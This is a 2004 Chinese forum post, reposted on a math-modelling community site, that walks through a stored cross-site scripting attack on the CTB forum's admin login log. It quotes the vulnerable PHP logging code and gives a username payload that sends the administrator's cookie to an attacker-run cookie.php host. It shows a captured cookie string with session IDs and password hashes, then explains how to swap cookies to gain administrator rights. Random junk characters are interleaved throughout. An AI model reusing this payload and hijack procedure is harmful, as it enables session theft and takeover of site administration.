数学建模社区-数学中国

标题: CTB论坛再探 [打印本页]

作者: 韩冰    时间: 2004-10-6 12:02
标题: CTB论坛再探
在CTB论坛中对前台和后台登陆的情况都设置了一个日志记录供管理员查看,可以让管理员尽快发现论坛是否被人入侵。但是对于用户递交的数据没有进行任何处理就记录到了日志当中,我们可以通过递交特殊的语句来进行跨站攻击,从而直接得到密码。 + n: G: G9 A" X# B5 v3 w0 H3 O+ V. r7 Q; o$ R   我们看看admin目录下的login.php文件的日志处理部分的代码: / f. [( w- c+ [4 E+ L# { 6 {; F! T9 F+ M. j! E4 ?代码: ' F# j* V$ u% `9 K) y* \-------------------------------------------------------------------------------- 7 Y& ^; U, T# p# U+ ~& g* m- Y @7 k( b* o' \9 f //后台管理员登陆日志 0 n! A$ b" L% z {9 Ufunction adminLoginLog($check="ok") ) U! l! o5 j; m{ 5 y, {# Z/ P/ o if($this->set[logRecord] == "N"){ * W' p' u5 b+ d9 n% k! v return false; , y4 h; O4 \& I$ K: \- r3 ] F } & i$ M5 `. L3 f2 u( q; e; |/ ]0 ] $msgArray[phpCode] = $this->code; ; U* h: ^/ m I" x" r( A //判断文件大小是否需要清空 7 w" b. |: d0 y! _# Y if (filesize("../".$this->set['dataPath']."/log_adminlogin.php") > $this->set['logRecordSize']){ 6 o& X- L* ~3 A- t$ g $this->file = "../".$this->set['dataPath']."/log_adminlogin.php"; ( m, K, y' z% K: \2 P5 w $this->null_write(""); 0 Y y) m, ^, M8 c1 J } 5 v- _4 _. [0 T3 L* _7 B M //登陆错误 ! O0 e, \' ^1 U: g# H5 |& T3 N //省去部分代码........ ; u: F$ Q" P/ K5 J) ~ //登陆失败 9 x$ n1 g2 S5 t2 X9 A0 A- X else { ! ] c) a0 D# M* F+ s $msgArray[loginMode] = 0; , D1 ]) D3 L3 R! e% \ $msgArray[loginId] = $this->input['userName']; 1 b1 r1 f7 m: j! r3 r B $msgArray[wrongMsg] = $check; : A: m5 w* S/ P. E$ c $msgArray[userIp] = $this->ip; + T O8 M# C5 g, ^3 b, u/ r $msgArray[loginTime] = time(); 8 M' e8 n1 G* }/ Q$ B $msgArray[temp1] = ""; //备用 + A% |% G, ]* T1 i5 X $msgArray[temp2] = ""; //备用 ( K0 Q! t% ~. g* G! X1 Q2 `" r. O $this->file = "../".$this->set['dataPath']."/log_adminlogin.php"; ' G+ i9 @' u) E$ a- i8 H2 W4 r $this->add_line($msgArray); 2 f) n0 I8 V+ g |( B } " V# t; l6 }+ ^4 l3 r; h* m } + w, u! h! q' M; i( o* O % z& b/ x4 t! v [+ A5 m# Q-------------------------------------------------------------------------------- 8 U" J8 R, h* i( \, _( \% r" r& C ] 6 Y7 J6 _0 s: `( ~) z# D   从代码上看我们递交的用户名等信息既不会进行任何过滤也无论正确与否都会被保存到log_adminlogin.php里去,当管理员登陆到后台查看日志的时候就会显示出log_adminlogin.php里面记录的登陆信息,我们也就可以通过这个方法来得到管理员的ID和密码等信息。 " K# n( t% k$ E" v5 ~! Y3 q4 [9 U& `" O2 Q: R+ \   我们打开后台登陆页面,在用户名那里输入: ; R! Z; a/ v# ?; h$ \( Z 0 C# V- ]4 A' [2 ?# z' Q 代码: / z2 m, z4 j; ]) Q* K -------------------------------------------------------------------------------- 0 l; @( e7 K$ l7 k; x; { j4 R1 w9 y0 ^/ x<img src="javascript:window.open('http://192.168.1.1/cookie.php?'+document.cookie)"> 4 B: n* Q% a* T& N! D, W$ e ( L' m( Q8 R' { m-------------------------------------------------------------------------------- 0 q2 x4 N6 t3 ?6 e3 _0 w6 g- S ; p8 L& A9 e3 }9 D- b  因为无论登陆成功否,程序都会进行记录,所以密码我们可以随便填。其中192.168.1.1为我们放置cookie.php的网址,cookie.php为一个可以获得cookie信息的PHP文件。现在我们要做的就是等了,只要管理员一查看后台登陆日志,我们的PHP程序就会把他的COOKIE截取下来。 ! e# m$ g5 c; X- {4 f $ S2 B& Y, Y: Z# K  让我们看看截取到的文件内容: ( O% Z# G, M" P 8 m* W* r5 t8 x% l( i 引用: : Z, [ l1 V7 A7 q-------------------------------------------------------------------------------- . r& H/ K6 U/ s. }+ m7 A* G- U2 z4 @7 s* T% ^. a+ S ctb_user_login=ctb;%20ctb_user_pass=ce445102682e75bf533d44e1afc38a90;%20ctb_login_mode=1;%20eremite=0;%20skins=2;%20fylinklinkfylogin=cpb;%20userpass=2BA2A8AC968A7A2B0A7BAA7F2FEF18D2;%20username=sniper;%20Dwebdv=userid=1&usercookies=2&userhidden=&password=0reu3g775VrY7458&userclass=%B9%DC%C0%ED%D4%B1&username=admin&StatUserID=3980383;%20TZ=480;%20PHPSESSID=d8765179dc4f3a8708515a031216e503 4 u( Y7 T- X2 D & K8 _% m% s! s% } p8 d$ F-------------------------------------------------------------------------------- , z! C+ I$ E# n8 v# J. `# b 7 |6 w5 f) m# s; U2 T  我们需要只有ctb_user_login、ctb_user_pass和ctb_login_mode三个就可以得到前台管理权限了,有了这些信息,我们要获得前台管理员权限就非常容易,用IECookieView找到我们要编辑的COOKIE,把相应的部分替换掉,保存后再进入该站点你就是前台管理员了。 ' m4 Q% [! I2 }/ D * o# Z* z3 S3 x; r2 Z r  很简单的我们就得到了论坛的管理权限,如果被人利用,那么相信后果是非常严重的,希望用CTB论坛的朋友关注他们的官方站点的补丁发布情况,尽快修补该漏洞,以免造成不必要的损失。 % F+ T+ K8 M! t$ M






欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5